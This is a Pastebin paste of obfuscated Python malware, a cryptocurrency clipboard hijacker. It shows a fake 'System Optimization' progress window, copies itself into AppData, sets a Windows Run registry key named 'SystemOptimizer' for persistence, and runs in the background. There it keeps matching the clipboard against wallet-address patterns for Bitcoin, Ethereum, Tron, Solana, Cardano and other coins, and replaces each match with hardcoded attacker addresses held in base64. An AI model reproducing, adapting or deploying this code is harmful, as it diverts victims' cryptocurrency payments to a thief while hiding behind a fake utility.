mangttigod

discord

Nov 20th, 2025
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.65 KB | None | 0 0
  1. import os, sys, re, time, subprocess, threading
  2. import warnings
  3. import base64
  4.  
  5. warnings.filterwarnings('ignore')
  6. os.environ['PYINSTALLER_NO_WARNINGS'] = '1'
  7.  
  8. def _d(s):
  9. return base64.b64decode(s).decode('utf-8')
  10.  
  11. try:
  12. import tkinter as tk
  13. from tkinter import ttk
  14. _a0x1 = True
  15. except:
  16. _a0x1 = False
  17.  
  18. _a0x2 = _d("YmMxcTVqYWhmZTVzMjcqOTB1azZld254eHhjcTJoNjgyOWZ5aDRmcm1z")
  19. _a0x3 = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
  20. _a0x4 = _d("VFFzZWpmcjhXVldjb2hZaEdXRGJ5SGlrVjRqdFJBdVhlZw==")
  21. _a0x5 = _d("TE5BeDZwa0NRTTI4MVR2ektzWVFVSmZUOVJ6ZHpITXJoVg==")
  22. _a0x6 = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
  23. _a0x7 = _d("RFJZcmlYYkxjNDd6Z0tOclhkYTZkRk5GV1V2akNXZ1NhMQ==")
  24. _a0x8 = _d("VFFzZWpmcjhXVldjb2hZaEdXRGJ5SGlrVjRqdFJBdVhlZw==")
  25. _a0x9 = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
  26. _a0xa = _d("OTVSM2hrYVdHaDExNGJtaGZLTXh4b2pwY2FzMnUzQ2JkVTROeTQ0RnJpbjg=")
  27. _a0xb = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
  28. _a0xc = _d("cjNZWStyMnBpRFBWVzY0WlY5Q0htaENuclZuSnlhem1vcg==")
  29. _a0xd = _d("YWRkcjFxeTBzdjQzOHpmZmt4dHZ5dzVkcWttbHpscXFoNHk3dWhrNmxkNDN6Y3RjamRoZ2xxZXR6d3lqbnZ2a2NnYWc2cGRoNzk3cXAwMmZhZTBkNDdtdHo5c2gzeW13czU3cTlzNw==")
  30.  
  31. def _f0x1():
  32. try:
  33. if os.name == _d("bnQ="):
  34. import winreg, ctypes
  35. _p0x1 = os.getenv(_d("QVBQREFUQQ=="))
  36. _f0x2 = sys.argv[0]
  37.  
  38. if sys.argv[0].endswith(_d("LmV4ZQ==")):
  39. _p0x2 = os.getenv(_d("QVBQREFUQQ==")) + _d("XA==")
  40. _p0x3 = _p0x2 + os.path.basename(sys.argv[0])
  41.  
  42. if os.path.exists(sys.argv[0]):
  43. try:
  44. import shutil
  45. if not os.path.exists(_p0x3):
  46. shutil.copy2(sys.argv[0], _p0x3)
  47. _a0xe = _d("Ig==") + _p0x3 + _d("Ig==")
  48. except Exception:
  49. _a0xe = _d("Ig==") + sys.argv[0] + _d("Ig==")
  50. else:
  51. _a0xe = _d("Ig==") + sys.argv[0] + _d("Ig==")
  52. else:
  53. _a0xe = os.getenv(_d("TE9DQUxBUFBEQVRB")) + _d("XFxQcm9ncmFtc1xcUHl0aG9uXFxMYXVuY2hlclxccHkuZXhl") + _d("IA==") + _d("LWkg") + _d("IA==") + _d("Ig==") + _p0x1 + _d("XFw=") + _f0x2 + _d("Ig==")
  54.  
  55. _k0x1 = winreg.HKEY_CURRENT_USER
  56. _k0x2 = _d("U09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==")
  57. _o0x1 = winreg.CreateKeyEx(_k0x1, _k0x2, 0, winreg.KEY_WRITE)
  58.  
  59. winreg.SetValueEx(_o0x1, _d("U3lzdGVtT3B0aW1pemVy"), 0, winreg.REG_SZ, _a0xe)
  60. _o0x1.Close()
  61.  
  62. if not sys.argv[0].endswith(_d("LmV4ZQ==")):
  63. _v0x1 = []
  64. try:
  65. with open(sys.argv[0], 'r', encoding='utf-8', errors='ignore') as _f0x3:
  66. _l0x1 = _f0x3.readlines()
  67. for _l0x2 in _l0x1:
  68. _v0x1.append(_l0x2)
  69. except (UnicodeDecodeError, IOError):
  70. return
  71.  
  72. _p0x1 = os.getenv(_d("QVBQREFUQQ==")) + _d("XFw=")
  73. _p0x3 = os.getenv(_d("QVBQREFUQQ==")) + _d("XFw=") + os.path.basename(sys.argv[0])
  74.  
  75. try:
  76. with open(_p0x3, 'w', encoding='utf-8', errors='ignore') as _f0x3:
  77. for _l0x2 in _v0x1:
  78. _f0x3.write(_l0x2)
  79. if _l0x2 == _d("Rmlyc3RUaW1lID0gVHJ1ZVxu"):
  80. _f0x3.write(_d("Rmlyc3RUaW1lID0gRmFsc2Vcbg=="))
  81. except Exception:
  82. pass
  83.  
  84. except Exception:
  85. pass
  86.  
  87.  
  88. class _C0x1:
  89. def __init__(self):
  90. self._p0x4 = r'^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$|^(bc1)[0-9a-zA-HJ-NP-Z]{11,71}$'
  91. self._p0x5 = r'^0x[a-fA-F0-9]{40}$'
  92. self._p0x6 = r'^T[A-Za-z1-9]{33}$'
  93. self._p0x7 = r'^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$|^(ltc1)[0-9a-z]{58,72}$'
  94. self._p0x8 = r'^0x[a-fA-F0-9]{40}$|^bnb[a-z0-9]{38}$'
  95. self._p0x9 = r'^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$'
  96. self._p0xa = r'^[1-9A-HJ-NP-Za-km-z]{32,44}$'
  97. self._p0xb = r'^0x[a-fA-F0-9]{40}$'
  98. self._p0xc = r'^r[1-9A-HJ-NP-Za-km-z]{25,35}$'
  99. self._p0xd = r'^(addr1)[0-9a-z]{98,110}$|^(addr)[0-9a-z]{98,110}$'
  100.  
  101. self._m0x1 = {
  102. _d("YnRj"): _a0x2,
  103. _d("ZXRo"): _a0x3,
  104. _d("dHJ4"): _a0x4,
  105. _d("bHRj"): _a0x5,
  106. _d("Ym5i"): _a0x6,
  107. _d("ZG9nZQ=="): _a0x7,
  108. _d("c29s"): _a0xa,
  109. _d("cG9seQ=="): _a0xb,
  110. _d("cmlwcGxl"): _a0xc,
  111. _d("YWRh"): _a0xd,
  112. _d("dXNkdF90cmMyMA=="): _a0x8 if _a0x8 else _a0x4,
  113. _d("dXNkdF9lcmMyMA=="): _a0x9 if _a0x9 else _a0x3
  114. }
  115. try:
  116. global pyperclip
  117. import pyperclip
  118. except ModuleNotFoundError:
  119. try:
  120. os.system(_d("cGlwIGluc3RhbGwgcHlwZXJjbGlw"))
  121. os.execl(sys.executable, sys.executable, *sys.argv)
  122. except Exception:
  123. os.execl(sys.executable, sys.executable, *sys.argv)
  124.  
  125. def _r0x1(self):
  126. try:
  127. _a0xf = pyperclip.paste().strip()
  128.  
  129. if re.match(self._p0xd, _a0xf):
  130. return _d("YWRh")
  131. elif re.match(self._p0x4, _a0xf):
  132. return _d("YnRj")
  133. elif re.match(self._p0x6, _a0xf):
  134. return _d("dHJ4")
  135. elif re.match(self._p0xc, _a0xf):
  136. return _d("cmlwcGxl")
  137. elif re.match(self._p0x7, _a0xf):
  138. return _d("bHRj")
  139. elif re.match(self._p0x9, _a0xf):
  140. return _d("ZG9nZQ==")
  141. elif re.match(self._p0xa, _a0xf) and len(_a0xf) >= 32 and len(_a0xf) <= 44:
  142. return _d("c29s")
  143. elif re.match(self._p0x5, _a0xf):
  144. return _d("ZXRo")
  145. return _d("bmls")
  146. except Exception:
  147. return _d("bmls")
  148.  
  149. def _w0x1(self):
  150. _a0x10 = self._r0x1().strip()
  151. try:
  152. if _a0x10 in self._m0x1:
  153. _a0x11 = self._m0x1[_a0x10]
  154. if _a0x11:
  155. pyperclip.copy(_a0x11)
  156. except Exception:
  157. pass
  158.  
  159.  
  160. def _f0x4():
  161. if not _a0x1:
  162. return
  163.  
  164. _r0x2 = tk.Tk()
  165. _r0x2.title(_d("U3lzdGVtIE9wdGltaXphdGlvbg=="))
  166. _r0x2.geometry(_d("NDAweDIwMA=="))
  167. _r0x2.resizable(False, False)
  168. _r0x2.attributes(_d("LXRvcG1vc3Q="), True)
  169.  
  170. _c0x1 = _r0x2.winfo_screenwidth() // 2 - 200
  171. _c0x2 = _r0x2.winfo_screenheight() // 2 - 100
  172. _r0x2.geometry(f"400x200+{_c0x1}+{_c0x2}")
  173.  
  174. _f0x5 = tk.Frame(_r0x2, bg=_d("IzJiMmIyYg=="))
  175. _f0x5.pack(fill=tk.BOTH, expand=True)
  176.  
  177. _l0x3 = tk.Label(_f0x5, text=_d("T3B0aW1pemluZyBTeXN0ZW0uLi4="), font=(_d("QXJpYWw="), 14), bg=_d("IzJiMmIyYg=="), fg=_d("d2hpdGU="))
  178. _l0x3.pack(pady=30)
  179.  
  180. _p0x10 = ttk.Progressbar(_f0x5, mode=_d("aW5kZXRlcm1pbmF0ZQ=="), length=300)
  181. _p0x10.pack(pady=20)
  182. _p0x10.start(10)
  183.  
  184. _l0x4 = tk.Label(_f0x5, text=_d("U2Nhbm5pbmcgc3lzdGVtIGZpbGVzLi4u"), font=(_d("QXJpYWw="), 10), bg=_d("IzJiMmIyYg=="), fg=_d("I2FhYWFhYWE="))
  185. _l0x4.pack(pady=10)
  186.  
  187. _m0x2 = [
  188. _d("U2Nhbm5pbmcgc3lzdGVtIGZpbGVzLi4u"),
  189. _d("T3B0aW1pemluZyByZWdpc3RyeS4uLg=="),
  190. _d("Q2xlYW5pbmcgdW5uZWNlc3NhcnkgZmlsZXMuLi4="),
  191. _d("SW1wcm92aW5nIHN5c3RlbSBwZXJmb3JtYW5jZS4uLg=="),
  192. _d("T3B0aW1pemF0aW9uIGFsbW9zdCBjb21wbGV0ZS4uLg==")
  193. ]
  194.  
  195. def _f0x6():
  196. for _i0x1, _m0x3 in enumerate(_m0x2):
  197. _l0x4.config(text=_m0x3)
  198. _r0x2.update()
  199. time.sleep(2)
  200. time.sleep(1)
  201. _r0x2.destroy()
  202.  
  203. threading.Thread(target=_f0x6, daemon=True).start()
  204.  
  205. _r0x2.mainloop()
  206.  
  207. def _f0x7():
  208. if len(sys.argv) == 1:
  209. try:
  210. if os.name == _d("cG9zaXg="):
  211. subprocess.Popen([sys.executable] + [sys.argv[0], _d("Ymc=")] + sys.argv[1:],
  212. close_fds=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
  213. elif os.name == _d("bnQ="):
  214. if _a0x1:
  215. _f0x4()
  216. _f0x1()
  217. subprocess.Popen([sys.executable] + [sys.argv[0], _d("Ymc=")] + sys.argv[1:],
  218. stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
  219.  
  220. except Exception:
  221. pass
  222. sys.exit(0)
  223.  
  224.  
  225. _f0x7()
  226. while True:
  227. _h0x1 = _C0x1()
  228. _h0x1._w0x1()
  229. time.sleep(0.5)
Add Comment
Please, Sign In to add comment